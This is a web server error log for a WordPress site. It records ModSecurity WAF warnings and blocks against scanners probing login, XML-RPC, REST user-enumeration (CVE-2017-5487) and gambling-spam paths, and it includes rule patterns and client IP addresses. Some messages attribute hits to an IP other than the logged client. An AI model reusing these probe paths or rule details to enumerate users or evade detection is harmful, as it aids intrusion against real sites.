2026/03/11 06:37:03 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /pg%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20auto.aspx", host: "gigfragments.org"
[Wed Mar 11 06:37:03.078420 2026] [:error] [pid 6222:tid 6243] [client 147.135.252.179:41922] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "abCdD3s7MIv-0SYBFu2oWAAAANM"]
2026/03/11 06:37:04 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /pg%20betflik.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20betflik.aspx", host: "gigfragments.org"
[Wed Mar 11 06:37:04.669881 2026] [:error] [pid 6222:tid 6246] [client 147.135.252.179:41936] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "abCdEHs7MIv-0SYBFu2oWwAAANY"]
[Wed Mar 11 07:48:38.666824 2026] [:error] [pid 11572:tid 11576] [client 209.87.169.97:40634] [client 209.87.169.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abCt1hiTc5L_QZTsfYE5SgAAAQI"]
[Wed Mar 11 09:46:25.565420 2026] [:error] [pid 54045:tid 54048] [client 54.253.157.231:34950] [client 54.253.157.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abDJcSRcKzQ1f-N8TgT9LwAAAME"]
[Wed Mar 11 09:46:28.194039 2026] [:error] [pid 53954:tid 54001] [client 54.253.157.231:34966] [client 54.253.157.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abDJdLbD1J_Nhe6jce1o5gAAAE8"]
[Wed Mar 11 10:25:15.681072 2026] [:error] [pid 53954:tid 54003] [client 49.50.76.195:60286] [client 49.50.76.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abDSi7bD1J_Nhe6jce1viQAAAFE"]
[Wed Mar 11 10:25:18.257803 2026] [:error] [pid 53955:tid 54019] [client 49.50.76.195:60314] [client 49.50.76.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abDSjtP1Uf6qBkbxZg9_aAAAAIE"], referer: https://gigfragments.org/wp-login.php
[Wed Mar 11 10:49:36.051616 2026] [:error] [pid 53953:tid 53972] [client 49.51.183.220:48824] [client 49.51.183.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abDYQHiDUTQy-Lyy4w2RewAAAA8"]
[Wed Mar 11 11:47:10.470155 2026] [:error] [pid 23512:tid 23537] [client 209.87.169.106:33860] [client 209.87.169.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abDlvqeuPtNfm7KRzWWiJAAAAVY"]
[Wed Mar 11 12:05:50.948651 2026] [:error] [pid 54045:tid 54062] [client 209.87.169.112:51138] [client 209.87.169.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abDqHiRcKzQ1f-N8TgQwngAAAM8"]
[Wed Mar 11 12:05:50.949557 2026] [:error] [pid 23482:tid 23508] [client 209.87.169.107:51140] [client 209.87.169.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abDqHsrYaTAnN_mLXylQVAAAARc"]
[Wed Mar 11 12:20:31.275925 2026] [:error] [pid 53953:tid 53976] [client 209.87.169.105:35268] [client 209.87.169.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abDtj3iDUTQy-Lyy4w2XwgAAABM"]
[Wed Mar 11 19:35:08.617752 2026] [:error] [pid 45143:tid 45160] [client 223.123.76.66:36260] [client 223.123.76.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abFTbCEXSpYdWImkpzbkugAAAY8"]
[Wed Mar 11 19:39:25.835275 2026] [:error] [pid 44882:tid 44888] [client 223.123.76.66:40246] [client 223.123.76.66] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "abFUbVC06UlbDFYZNg0DSwAAAgQ"]
[Wed Mar 11 19:40:45.130366 2026] [:error] [pid 45143:tid 45146] [client 223.123.76.66:41448] [client 223.123.76.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abFUvSEXSpYdWImkpzbl-AAAAYE"]
[Wed Mar 11 19:42:22.969278 2026] [:error] [pid 23482:tid 23497] [client 223.123.76.66:42804] [client 223.123.76.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abFVHsrYaTAnN_mLXyneagAAAQw"]
[Wed Mar 11 19:43:51.796172 2026] [:error] [pid 54045:tid 54057] [client 223.123.76.66:44154] [client 223.123.76.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abFVdyRcKzQ1f-N8TgS80gAAAMo"]
[Wed Mar 11 20:33:06.175396 2026] [:error] [pid 44995:tid 45000] [client 217.164.253.226:60520] [client 217.164.253.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abFhAjoOSr9ks_axo6PIkwAAAkM"]
[Wed Mar 11 20:33:22.289780 2026] [:error] [pid 54045:tid 54058] [client 86.127.224.253:60756] [client 86.127.224.253] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abFhEiRcKzQ1f-N8TgTWQQAAAMs"]
[Thu Mar 12 02:30:08.869804 2026] [:error] [pid 55266:tid 55312] [client 103.92.43.34:37832] [client 103.92.43.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abG0sJsmvC-0sL-4DxECVQAAAI0"]
[Thu Mar 12 02:30:10.635372 2026] [:error] [pid 55587:tid 55617] [client 103.92.43.34:37862] [client 103.92.43.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abG0sovUDIu2al9Vqa8njgAAARI"], referer: https://gigfragments.org/wp-login.php
[Thu Mar 12 05:43:50.055923 2026] [:error] [pid 63256:tid 63284] [client 105.186.90.224:36520] [client 105.186.90.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abHiFghgyalB3r3y_ThY2gAAANQ"]
[Thu Mar 12 05:47:43.917375 2026] [:error] [pid 63256:tid 63273] [client 105.186.90.224:38318] [client 105.186.90.224] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "abHi_whgyalB3r3y_ThaQAAAAMk"]
[Thu Mar 12 05:49:40.425589 2026] [:error] [pid 63149:tid 63220] [client 105.186.90.224:39156] [client 105.186.90.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abHjdHo4UdkUSJRpS0wepAAAAIM"]
[Thu Mar 12 05:51:14.364905 2026] [:error] [pid 63256:tid 63284] [client 105.186.90.224:39810] [client 105.186.90.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abHj0ghgyalB3r3y_ThblQAAANQ"]
[Thu Mar 12 05:52:58.319735 2026] [:error] [pid 63256:tid 63281] [client 105.186.90.224:40646] [client 105.186.90.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abHkOghgyalB3r3y_ThcRAAAANE"]
[Thu Mar 12 05:54:34.060666 2026] [:error] [pid 63256:tid 63269] [client 105.186.90.224:41542] [client 105.186.90.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abHkmghgyalB3r3y_ThdLwAAAMU"]
[Thu Mar 12 07:12:30.585816 2026] [:error] [pid 51457:tid 51521] [client 134.199.148.70:53554] [client 134.199.148.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop/wp-admin/install.php"] [unique_id "abH23ijknw2FvT4H3DZrpwAAAIc"]
[Thu Mar 12 12:21:49.630635 2026] [:error] [pid 11985:tid 12010] [client 2.68.110.138:57255] [client 2.68.110.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 2.68.110.138, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abI_XXcAcNujsOssVDfq9gAAAZM"]
[Thu Mar 12 14:11:25.221121 2026] [:error] [pid 22063:tid 22074] [client 43.130.57.76:32824] [client 43.130.57.76] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abJZDa0RUhS-MJyHWLTSywAAAgk"]
[Thu Mar 12 16:24:01.798553 2026] [:error] [pid 11953:tid 11977] [client 112.209.178.5:32180] [client 112.209.178.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.209.178.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abJ4IZudzqsnq3bvtDYVLAAAAVY"]
[Thu Mar 12 16:27:19.890975 2026] [:error] [pid 8249:tid 8267] [client 112.209.178.5:33712] [client 112.209.178.5] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "abJ45yK5dL3-8Jdf0M3TiQAAARA"]
[Thu Mar 12 16:28:40.182711 2026] [:error] [pid 22063:tid 22066] [client 112.209.178.5:30630] [client 112.209.178.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.209.178.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abJ5OK0RUhS-MJyHWLT8AwAAAgE"]
[Thu Mar 12 16:29:58.652640 2026] [:error] [pid 51455:tid 51463] [client 112.209.178.5:31655] [client 112.209.178.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.209.178.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abJ5hpE0YyNxdg6PL_ABmwAAAAM"]
[Thu Mar 12 16:31:25.858606 2026] [:error] [pid 8249:tid 8252] [client 112.209.178.5:33050] [client 112.209.178.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.209.178.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abJ53SK5dL3-8Jdf0M3V_gAAAQE"]
[Thu Mar 12 16:32:51.225155 2026] [:error] [pid 51455:tid 51470] [client 112.209.178.5:30171] [client 112.209.178.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.209.178.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abJ6M5E0YyNxdg6PL_AC2QAAAAo"]
[Thu Mar 12 17:03:53.243828 2026] [:error] [pid 22063:tid 22087] [client 51.83.100.230:35992] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "abKBea0RUhS-MJyHWLQE8AAAAhY"]
[Thu Mar 12 17:03:55.775968 2026] [:error] [pid 51456:tid 51497] [client 51.83.100.230:49268] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "abKBexXu8LzVixNGr0tWgQAAAEo"]
[Thu Mar 12 17:03:57.922726 2026] [:error] [pid 8249:tid 8267] [client 51.83.100.230:49282] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "abKBfSK5dL3-8Jdf0M3l_QAAARA"]
[Thu Mar 12 17:04:00.020379 2026] [:error] [pid 11986:tid 12021] [client 51.83.100.230:49286] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "abKBgDKqY2w-DVCrxTDhiwAAAcM"]
[Thu Mar 12 17:04:02.329489 2026] [:error] [pid 11985:tid 12006] [client 51.83.100.230:49302] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "abKBgncAcNujsOssVDcKxgAAAY8"]
[Thu Mar 12 17:04:04.582950 2026] [:error] [pid 51455:tid 51478] [client 51.83.100.230:58402] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "abKBhJE0YyNxdg6PL_ANBQAAABI"]
[Thu Mar 12 17:04:06.749274 2026] [:error] [pid 8249:tid 8258] [client 51.83.100.230:58418] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "abKBhiK5dL3-8Jdf0M3mCgAAAQc"]
[Thu Mar 12 17:04:08.834473 2026] [:error] [pid 51540:tid 51559] [client 51.83.100.230:58426] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "abKBiGOFFjotMIN2UD3U0gAAANE"]
[Thu Mar 12 17:04:10.950445 2026] [:error] [pid 22063:tid 22065] [client 51.83.100.230:58430] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "abKBiq0RUhS-MJyHWLQE9gAAAgA"]
[Thu Mar 12 17:04:13.367307 2026] [:error] [pid 22063:tid 22076] [client 51.83.100.230:58444] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "abKBja0RUhS-MJyHWLQE-gAAAgs"]
[Thu Mar 12 17:04:15.307984 2026] [:error] [pid 11986:tid 12022] [client 51.83.100.230:44824] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "abKBjzKqY2w-DVCrxTDhmwAAAcQ"]
[Thu Mar 12 17:04:17.439632 2026] [:error] [pid 22063:tid 22073] [client 51.83.100.230:44830] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "abKBka0RUhS-MJyHWLQE_wAAAgg"]
[Thu Mar 12 17:04:19.562826 2026] [:error] [pid 51455:tid 51484] [client 51.83.100.230:44838] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "abKBk5E0YyNxdg6PL_ANNwAAABg"]
[Thu Mar 12 17:04:22.047844 2026] [:error] [pid 51455:tid 51473] [client 51.83.100.230:44840] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "abKBlpE0YyNxdg6PL_ANQgAAAA0"]
[Thu Mar 12 17:04:24.089029 2026] [:error] [pid 22063:tid 22081] [client 51.83.100.230:44856] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "abKBmK0RUhS-MJyHWLQFBAAAAhA"]
[Thu Mar 12 17:04:26.233903 2026] [:error] [pid 22063:tid 22085] [client 51.83.100.230:48530] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "abKBmq0RUhS-MJyHWLQFCQAAAhQ"]
[Thu Mar 12 17:04:29.084068 2026] [:error] [pid 8249:tid 8259] [client 51.83.100.230:48542] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "abKBnSK5dL3-8Jdf0M3mKQAAAQg"]
[Thu Mar 12 17:04:31.363673 2026] [:error] [pid 22063:tid 22066] [client 51.83.100.230:48554] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "abKBn60RUhS-MJyHWLQFGQAAAgE"]
